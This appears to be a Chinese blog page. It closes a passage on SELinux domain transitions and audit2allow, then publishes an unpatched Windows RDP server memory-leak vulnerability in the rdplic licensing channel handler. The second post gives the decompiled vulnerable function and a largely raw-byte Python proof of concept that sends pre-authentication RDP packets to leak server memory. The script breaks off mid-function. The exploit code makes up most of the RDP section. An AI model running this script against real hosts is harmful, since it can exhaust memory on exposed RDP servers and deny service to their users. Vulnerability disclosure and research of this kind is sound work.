可以看到文件是ftpd_exec_t type, 进程的domain是ftpd_t( 如果没有配置SELinux, 进程的security context可能是unconfined_u:unconfined_r:unconfined_t)

接下来查看init_t到ftpd_exec_t的规则:

1
2
3

[root@localhost ~]# sesearch -s init_t -t ftpd_exec_t -c file -p execute -Ad
Found 1 semantic av rules:
   allow init_t ftpd_exec_t : file { read getattr execute open } ;

可以看到init_t有ftpd_exec_t Type的execute属性

1
2
3

[root@localhost ~]# sesearch -s ftpd_t -t ftpd_exec_t -c file -p entrypoint -Ad
Found 1 semantic av rules:
   allow ftpd_t ftpd_exec_t : file { ioctl read getattr lock execute execute_no_trans entrypoint open } ;

可以看到ftpd_t有ftpd_exec_t Type的execute属性

1
2
3

[root@localhost ~]# sesearch -s init_t -t ftpd_t -c process -p transition -Ad
Found 1 semantic av rules:
   allow init_t ftpd_t : process transition ;

错误信息的处理

通过ausearch命令可以获取错误消息. 也可以直接读取/var/log/audit/audit.log, 带有AVC(Access Vector Cache, 很奇葩的名字)的就是拒绝的log.

比如: 执行runcon system_u:system_r:syslogd_t:s0 /bin/ls -l /会失败, 查看错误结果:

1
2

$ ausearch -m AVC,USER_AVC,SELINUX_ERR,USER_SELINUX_ERR|grep runcon
type=AVC msg=audit(1651855998.065:528): avc:  denied  { entrypoint } for  pid=4634 comm="runcon" path="/usr/bin/ls" dev="dm-0" ino=25307027 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=file

avc: denied - the action performed by SELinux and recorded in Access Vector Cache (AVC)
{ entrypoint} - the denied action
pid=4634- the process identifier of the subject that tried to perform the denied action
comm="runcon" - the name of the command that was used to invoke the analyzed process
syslogd_t - the SELinux type of the process
bin_t - the SELinux type of the object affected by the process action
tclass=file - the target object class

翻译一下就是, 进程runcon(pid:4634)下从syslogd_t类型去运行bin_t类型的 “/usr/bin/ls”文件时, syslogd_t没有该文件的entrypoint权限.

这是为什么呢? 我的猜想是, runcon由于是用户启动的, 所以在unconfined_t域, runcon会调用setexeccon, 该函数功能是在下一次执行execve的时候, 更改加载程序的security context. 这个操作应该会触发一个Domain Transition, 从unconfined_t 到 syslogd_t, 而Domain Transition有3个前提, 其中一个是就是需要目标domain有文件的entrypoint属性. 而syslogd_t没有bint_t的entrypoint属性. 从而导致没有权限.

添加规则

使用audit2allow可以生成规则建议:

[root@localhost ~]# ausearch -m AVC|grep  runcon
type=AVC msg=audit(1651857472.707:540): avc:  denied  { entrypoint } for  pid=4774 comm="runcon" path="/usr/bin/ls" dev="dm-0" ino=25307027 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=file
[root@localhost ~]# ausearch -m AVC|grep  runcon|audit2allow -a

#============= syslogd_t ==============

#!!!! WARNING: 'bin_t' is a base type.
allow syslogd_t bin_t:file entrypoint;

生成规则:

$ ausearch -m AVC|grep  runcon|audit2allow -M test2
******************** IMPORTANT ***********************
To make this policy package active, execute:

semodule -i test2.pp

它会生成两个文件test2.pp和test2.te, te文件就是规则的实际描述文件,

安装规则: semodule -i test2.pp

安装后查看:

1
2
3

[root@localhost ~]# sesearch -A|grep syslogd_t|grep entrypoint
   allow syslogd_t bin_t : file { ioctl read getattr lock map execute execute_no_trans entrypoint open } ;
   allow syslogd_t syslogd_exec_t : file { ioctl read getattr lock map execute execute_no_trans entrypoint open } ;

可以看到规则已经添加进去了.

ALLOWING ACCESS: AUDIT2ALLOW

WRITING A CUSTOM SELINUX POLICY

其它

通过runcon可以以特定domain运行特定程序

参考

An Introduction to SELinux on CentOS 7 – Part 2: Files and Processes

WRITING A CUSTOM SELINUX POLICY

Windows 远程桌面服务端(RDP server) 内存泄露分享

2023-02-22T11:54:44.259Z

在7月的时候发现了个rdp的内存泄露bug, 微软MSRC决定不管这个bug, 所以我就公开了, 顺便分享一下分析的一些细节, 供大家学习交流 :)

RDP协议实现的简介

开启远程桌面

在windows中, 可以使用下图的选项去实现开启远程桌面

如果不勾选红圈选中的这个选项, 那么在进行登录的用户名和密码交换前, 需要进行一些协议的协商操作; 如果勾选了这个选项, 则会先使用用户名和密码实现一条加密通道, 之后再通过加密通道完成协商.

一个理想的协议实现就应该是后者那样, 连接前用户毕竟都知道用户名和密码了, 那么创建加密通道后再协商应该是最好的, 而不是先协商再认证.

当然, 作为攻击者, 肯定不希望是后者, 那样攻击面变得更小了.

前期的交互

如同上图显示的那样, 双方需要经过多次协商, 才能进入后续的认证操作. 在Connection Initial PDU里, 我们需要声明我们要申请的virtual channel, 之后在channel join PDU里请求加入声明的channel. 在完成了图中所有步骤后, 我们就可以发送数据到virtual channel了.

在给virtual channel发送数据前, 并没有完成用户名和密码的认证, 所以, 如果没有勾选红圈的选项, 我们可以在没有用户名/密码的情况下发送数据到virtual channel.

Virtual Channel

windows 处理virtual channel 数据的路径为 WDW_OnDataReceived -> WDICART_IcaChannelInputEx -> CRDPWDUMXStack::WDCallback_IcaChannelInput -> CRDPWDUMXStack::OnVirtualChannelData.

windows 10 内部有多个virtual channel, 在完成完整认证前, 主要能访问的是如下几个channel:

rdpinpt
rdpgrfx
rdpcmd 
rdplic
rdpdr
echo
Microsoft::Windows::RDS::Telemetry
Microsoft::Windows::RDS::BasicInput
drdynvc

此处仅列出部分channel, 下文也只涉及此处列出的channel, 未涉及的可以自己研究一下.

不同的channel有不同的访问方式, 可以通过向channel “drdynvc” 发送channel名称, 来发送数据到名称指定的virtual channel( 支持此方式的channel有 drdynvc, Microsoft::Windows::RDS::BasicInput, Microsoft::Windows::RDS::Telemetry, 还有一些未在上表列出的);
另一种方式是通过直接提供channel ID, 发送数据到其它channel.

最终, 他们会调用到CRdpDynVC::OnDataReceived函数来调用给定channel对应的动态处理函数. 当然, 前提是channel已经被open了, 如果没有open, 你可以通过发送type为1的命令到drdynvc去open指定channel.

BUG

这个bug存在于server 处理 rdplic 通道消息的CUMRDPLicPlugin::HandleClientLicensePdu函数中. 函数大致如下:

int CUMRDPLicPlugin::HandleClientLicensePdu(CUMRDPLicPlugin *this, unsigned int a2, __int64 a3){
v5 = this;
if ( a3 && a2 >= 9 && (mem_size = *(unsigned int *)(a3 + 4), mem_size <= (unsigned __int64)a2 - 8) ){
v9 = operator new[](mem_size);
v5->f_18h.f_8h.memory_60h = (__int64)v9;
if ( v9 ){
memcpy_0(v9, (const void *)(a3 + 8), *(unsigned int *)(a3 + 4));
...
SetEvent((HANDLE)v5->f_18h.f_8h.Event_50h);
return 0;
}
}
}

表面看起来没什么问题, 问题出在它在set了event后, 并没有触发event的处理函数来处理这片内存, 如果我们再次发送相同的命令, 就会把 v5->f_18h.f_8h.memory_60h 位置的指针覆盖, 导致原来的内存指针丢失, 从而造成永久的内存泄露(除非重启服务).

漏洞潜在影响

当有人启用RDP并关闭安全选项时, 存在被远程恶意耗尽内存的风险, 导致系统缓慢, 服务无法正常执行. 如果开着RDP也开着安全选项, 但是存在弱用户名密码, 也可能被恶意耗尽内存.

POC

poc并没有使用CredSSP认证, 需要在测试时在server端关闭红圈中的选项.
此处我使用了4个线程去跑, 一个是因为服务端会有一个定时器, 在长时间没有完成认证的情况下, 会主动中断连接, 而我们发送数据时并没有完成认证, 所以需要重新连接.

#coding:utf-8
import socket, sys, struct
from OpenSSL import SSL
import threading
import time

def send_init_packets(host):
    data = '\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x01\x00\x00\x00'

    s = socket.socket()
    s.connect((host, 3389))
    s.sendall(data)
    s.recv(8192)
    ctx = SSL.Context(SSL.TLSv1_METHOD)
    tls = SSL.Connection(ctx,s)
    tls.set_connect_state()
    tls.do_handshake()
    return tls

def send_client_data(tls):
    # add multitransport
    p2 = '\x06\xc0\x08\x00\x00\x00\x00\x00'+'\x0a\xc0\x08\x00\x00\x02\x00\x00' # flag SOFTSYNC_TCP_TO_UDP
    p = "\x03\x00\x01\xca\x02\xf0\x80\x7f\x65\x82\x07\xc2\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x19\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x30\x19\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02\x30\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x04\x82\x01\x61\x00\x05\x00\x14\x7c\x00\x01\x81\x48\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34\x01\xc0\xea\x00\x0a\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03\xaa\x09\x04\x00\x00\xee\x42\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46\x00\x38\x00\x34\x00\x30\x00\x47\x00\x49\x00\x4b\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00\x04\x00\x00\x00\x72\x64\x70\x73\x6e\x64\x00\x00\x0f\x00\x00\xc0\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0\x64\x72\x64\x79\x6e\x76\x63\x00\x00\x00\x80\xc0"+'rdplic\x00\x00'+"\x00\x00\x00\x00"+p2
    tpkt_size = struct.pack(">h", len(p))
    ber_size = struct.pack(">h", len(p)-12)
    initial_userdata_size = struct.pack(">h", len(p)-109)
    connectPDU_size = struct.pack(">h", len(p)-118)
    userdata_value_size = struct.pack(">h", len(p)-132)
    cs_net_size = struct.pack(">h", len(p)-390 - len(p2))
    ba = bytearray()
    ba.extend(map(ord, p))
    ba[2] = tpkt_size[0]
    ba[3] = tpkt_size[1]
    ba[10] = ber_size[0]
    ba[11] = ber_size[1]
    ba[107] = initial_userdata_size[0]
    ba[108] = initial_userdata_size[1]
    ba[116] = 0x81
    ba[117] = connectPDU_size[1] 
    ba[130] = 0x81
    ba[131] = userdata_value_size[1]
    ba[392] = cs_net_size[1]
    tls.sendall(bytes(ba))
    tls.recv(8192)

def send_client_info(tls):
    p = b"\x03\x00\x01\x61\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x52\x40\x00\xa1\xa5\x09\x04\x09\x04\xbb\x47\x03\x00\x00\x00\x0e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x41\x41\x41\x00\x38\x00\x2e\x00\x32\x00\x33\x00\x32\x00\x2e\x00\x31\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x41\x41\x41\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00"
    tls.sendall(p)

def send_channel_packets(tls):
    p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"
    tls.sendall(p1)
    p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28"
    tls.sendall(p2)
    tls.recv(1024)
    p4 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xeb"
    tls.sendall(p4)
    tls.recv(1024)
    p5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xec"
    tls.sendall(p5)
    tls.recv(1024)
    p6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xed"
    tls.sendall(p6)
    tls.recv(1024)
    p7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xee"
    tls.sendall(p7)
    tls.recv(1024)
    p8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xef"
    tls.sendall(p8)
    tls.recv(1024)

def send_confirm_active(tls, shareid):
    p = "\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04"
    ba = bytearray()
    ba.extend(map(ord, p))
    tls.sendall(bytes(ba))

def send_establish_session(tls):
    p = b"\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00\x01\x00\xea\x03"
    tls.sendall(p)
    p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
    tls.sendall(p)
    p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    tls.sendall(p)
    p = b"\x03\x00\x05\x81\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x85\x72\x72\x05\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x2b\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x02\x00\x00\x00\xa3\xce\x20\x35\xdb\x94\xa5\xe6\x0d\xa3\x8c\xfb\x64\xb7\x63\xca\xe7\x9a\x84\xc1\x0d\x67\xb7\x91\x76\x71\x21\xf9\x67\x96\xc0\xa2\x77\x5a\xd8\xb2\x74\x4f\x30\x35\x2b\xe7\xb0\xd2\xfd\x81\x90\x1a\x8f\xd5\x5e\xee\x5a\x6d\xcb\xea\x2f\xa5\x2b\x06\xe9\x0b\x0b\xa6\xad\x01\x2f\x7a\x0b\x7c\xff\x89\xd3\xa3\xe1\xf8\x00\x96\xa6\x8d\x9a\x42\xfc\xab\x14\x05\x8f\x16\xde\xc8\x05\xba\xa0\xa8\xed\x30\xd8\x67\x82\xd7\x9f\x84\xc3\x38\x27\xda\x61\xe3\xa8\xc3\x65\xe6\xec\x0c\xf6\x36\x24\xb2\x0b\xa6\x17\x1f\x46\x30\x16\xc7\x73\x60\x14\xb5\xf1\x3a\x3c\x95\x7d\x7d\x2f\x74\x7e\x56\xff\x9c\xe0\x01\x32\x9d\xf2\xd9\x35\x5e\x95\x78\x2f\xd5\x15\x6c\x18\x34\x0f\x43\xd7\x2b\x97\xa9\xb4\x28\xf4\x73\x6c\x16\xdb\x43\xd7\xe5\x58\x0c\x5a\x03\xe3\x73\x58\xd7\xd9\x76\xc2\xfe\x0b\xd7\xf4\x12\x43\x1b\x70\x6d\x74\xc2\x3d\xf1\x26\x60\x58\x80\x31\x07\x0e\x85\xa3\x95\xf8\x93\x76\x99\x9f\xec\xa0\xd4\x95\x5b\x05\xfa\x4f\xdf\x77\x8a\x7c\x29\x9f\x0b\x4f\xa1\xcb\xfa\x95\x66\xba\x47\xe3\xb0\x44\xdf\x83\x03\x44\x24\xf4\x1e\xf2\xe5\xcb\xa9\x53\x04\xc2\x76\xcb\x4d\xc6\xc2\xd4\x3f\xd3\x8c\xb3\x7c\xf3\xaa\xf3\x93\xfe\x25\xbd\x32\x7d\x48\x6e\x93\x96\x68\xe5\x18\x2b\xea\x84\x25\x69\x02\xa5\x38\x65\x6f\x0f\x9f\xf6\xa1\x3a\x1d\x22\x9d\x3f\x6d\xe0\x4c\xee\x8b\x24\xf0\xdc\xff\x70\x52\xa7\x0d\xf9\x52\x8a\x1e\x33\x1a\x30\x11\x15\xd7\xf8\x95\xa9\xbb\x74\x25\x8c\xe3\xe9\x93\x07\x43\xf5\x50\x60\xf7\x96\x2e\xd3\xff\x63\xe0\xe3\x24\xf1\x10\x3d\x8e\x0f\x56\xbc\x2e\xb8\x90\x0c\xfa\x4b\x96\x68\xfe\x59\x68\x21\xd0\xff\x52\xfe\x5c\x7d\x90\xd4\x39\xbe\x47\x9d\x8e\x7a\xaf\x95\x4f\x10\xea\x7b\x7a\xd3\xca\x07\x28\x3e\x4e\x4b\x81\x0e\xf1\x5f\x1f\x8d\xbe\x06\x40\x27\x2f\x4a\x03\x80\x32\x67\x54\x2f\x93\xfd\x25\x5d\x6d\xa0\xad\x23\x45\x72\xff\xd1\xeb\x5b\x51\x75\xa7\x61\xe0\x3f\xe4\xef\xf4\x96\xcd\xa5\x13\x8a\xe6\x52\x74\x70\xbf\xc1\xf9\xfb\x68\x9e\xdd\x72\x8f\xb4\x44\x5f\x3a\xcb\x75\x2a\x20\xa6\x69\xd2\x76\xf9\x57\x46\x2b\x5b\xda\xba\x0f\x9b\xe0\x60\xe1\x8b\x90\x33\x41\x0a\x2d\xc5\x06\xfe\xd0\xf0\xfc\xde\x35\xd4\x1e\xaa\x76\x0b\xae\xf4\xd5\xbd\xfa\xf3\x55\xf5\xc1\x67\x65\x75\x1c\x1d\x5e\xe8\x3a\xfe\x54\x50\x23\x04\xae\x2e\x71\xc2\x76\x97\xe6\x39\xc6\xb2\x25\x87\x92\x63\x52\x61\xd1\x6c\x07\xc1\x1c\x00\x30\x0d\xa7\x2f\x55\xa3\x4f\x23\xb2\x39\xc7\x04\x6c\x97\x15\x7a\xd7\x24\x33\x91\x28\x06\xa6\xe7\xc3\x79\x5c\xae\x7f\x50\x54\xc2\x38\x1e\x90\x23\x1d\xd0\xff\x5a\x56\xd6\x12\x91\xd2\x96\xde\xcc\x62\xc8\xee\x9a\x44\x07\xc1\xec\xf7\xb6\xd9\x9c\xfe\x30\x1c\xdd\xb3\x3b\x93\x65\x3c\xb4\x80\xfb\xe3\x87\xf0\xee\x42\xd8\xcf\x08\x98\x4d\xe7\x6b\x99\x0a\x43\xed\x13\x72\x90\xa9\x67\xfd\x3c\x63\x36\xec\x55\xfa\xf6\x1f\x35\xe7\x28\xf3\x87\xa6\xce\x2e\x34\xaa\x0d\xb2\xfe\x17\x18\xa2\x0c\x4e\x5f\xf0\xd1\x98\x62\x4a\x2e\x0e\xb0\x8d\xb1\x7f\x32\x52\x8e\x87\xc9\x68\x7c\x0c\xef\xee\x88\xae\x74\x2a\x33\xff\x4b\x4d\xc5\xe5\x18\x38\x74\xc7\x28\x83\xf7\x72\x87\xfc\x79\xfb\x3e\xce\xd0\x51\x13\x2d\x7c\xb4\x58\xa2\xe6\x28\x67\x4f\xec\xa6\x81\x6c\xf7\x9a\x29\xa6\x3b\xca\xec\xb8\xa1\x27\x50\xb7\xef\xfc\x81\xbf\x5d\x86\x20\x94\xc0\x1a\x0c\x41\x50\xa9\x5e\x10\x4a\x82\xf1\x74\x1f\x78\x21\xf5\x70\x61\x24\x00\x3d\x47\x5f\xf3\x25\x80\x3c\x4b\xea\xa3\xf4\x77\xea\xa1\x42\x1a\x17\x0f\x6d\xa8\x35\x9e\x91\x26\x34\x43\x04\xc6\xc6\x5b\x21\x7d\x8c\xc7\x22\x91\x7b\x2c\x2d\x2f\xd6\x7e\xa5\x52\xa8\x08\x80\xeb\x60\xd1\x44\x09\x8e\x3c\xa1\xaa\x67\x60\x0a\x26\xc6\xb5\xc6\x79\xa6\x4f\x8b\x8c\x25\x5c\xf1\x0b\x23\xf4\xd8\xa6\x6d\xf1\x91\x78\xf9\xe5\x2a\x50\x2f\x5a\x44\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x77\x5a\xd8\xb2\x74\x4f\x30\x35\xbf\x28\xae\xd9\xa2\x98\xa5\xbc\x60\xca\xb8\x90\x4d\x20\x46\xd9\x8a\x1a\x30\x01\x8b\x38\x63\x1a\x57\x09\x51\x46\x95\x9b\xd8\x80\x0c\xb0\x77\x24\xbf\x2b\xd3\x57\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x56\x92\x38\xed\x6b\x9b\x5b\x1f\xba\x53\xa1\x0e\xf7\x75\x10\x53\x22\x4c\x0a\x75\x88\x54\x69\x3f\x3b\xf3\x18\x67\x6b\x0f\x19\xd1\x00\x25\x86\xcd\xa8\xd9\xdd\x1d\x8d\x26\x87\x54\xd9\x79\xc0\x74\x65\x90\xd7\x33\x32\xaf\xba\x9d\x5a\xd5\x6c\x7c\xa1\x47\xe1\x49\x6e\x1c\xce\x9f\x62\xaa\x26\x16\x3f\x3c\xec\x5b\x49\xe5\xc0\x60\xd4\xbe\xa7\x88\xbc\xa1\x9f\x29\x71\x8c\xeb\x69\xf8\x73\xfb\xaf\x29\xaa\x40\x1b\xe5\x92\xd2\x77\xa7\x2b\xfb\xb6\x77\xb7\x31\xfb\xdc\x1e\x63\x63\x7d\xf2\xfe\x3c\x6a\xba\x0b\x20\xcb\x9d\x64\xb8\x31\x14\xe2\x70\x07\x2c\xdf\x9c\x6f\xb5\x3a\xc4\xd5\xb5\xc9\x3e\x9a\xd7\xd5\x30\xdc\x0e\x19\x89\xc6\x08\x88\xe1\xca\x81\xa6\x28\xdd\x9c\x74\x05\x11\xe7\xe1\xcc\xbc\xc7\x76\xdd\x55\xe2\xcc\xc2\xcb\xd3\xb6\x48\x01\xdd\xff\xba\xca\x31\xab\x26\x44\x1c\xdc\x06\x01\xdf\xf2\x90\x50\xb8\x6b\x8f\xe8\x29\xf0\xba\xec\xfb\x2d\xfd\x7a\xfc\x7f\x57\xbd\xea\x90\xf7\xcf\x92\x1e\xc4\x20\xd0\xb6\x9f\xd6\xdc\xa1\x82\xa9\x6c\x5e\x3e\x83\x41\x57\x73\xe9\xe7\x5a\x3f\xda\x24\x4f\x73\x5e\xf4\xe0\x92\x24\xbd\x0b\xd0\x3c\x49\x96\xb5\xb5\x05\x32\xcb\x58\x1d\x6f\x97\x51\xee\x0c\xdc\x0b\x2a\x60\xef\x97\x3e\x5a\x30\x81\x15\x91\xcf\x11\x07\x25\x2c\x41\xdb\x70\x72\xe1\x75\xf6\xa5\xff\xe8\x44\xe7\x03\xe3\x61\xaa\xdb\xe0\x07\x3d\x07\x0b\xe3\x5c\x09\xa9\x5e\x10\xfd\xcf\x74\x9e\x23\xf1\x30\x86\x16\xef\x25\x4e\xfe\xa4\x93\xa5\x80\x0a\x01\x39\xcc\x11\x7a\x6e\x94\x22\x5b\xd8\xc6\xc9\xa8\xdf\x13\x96\xb3\x91\x33\x6e\x87\xbb\x94\x63\x2d\x88\x64\xa7\x58\x89\xda\xdc\x7f\x2a\xe3\xa1\x66\xe5\xc8\x7f\xc2\xdb\xc7\x7d\x2f\xa9\x46\x28\x45\x69\xbc\xac\x9f\x85\x9e\xb0\x9f\x9a\x49\xb4\xb1\xcb"
    # SBC_HandlePersistentCacheList
    tls.sendall(p)
    p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00" # USR_ProcessRemoteFonts
    tls.sendall(p)

def send_data_to_rdplic(tls, arch):
    if arch == "32":
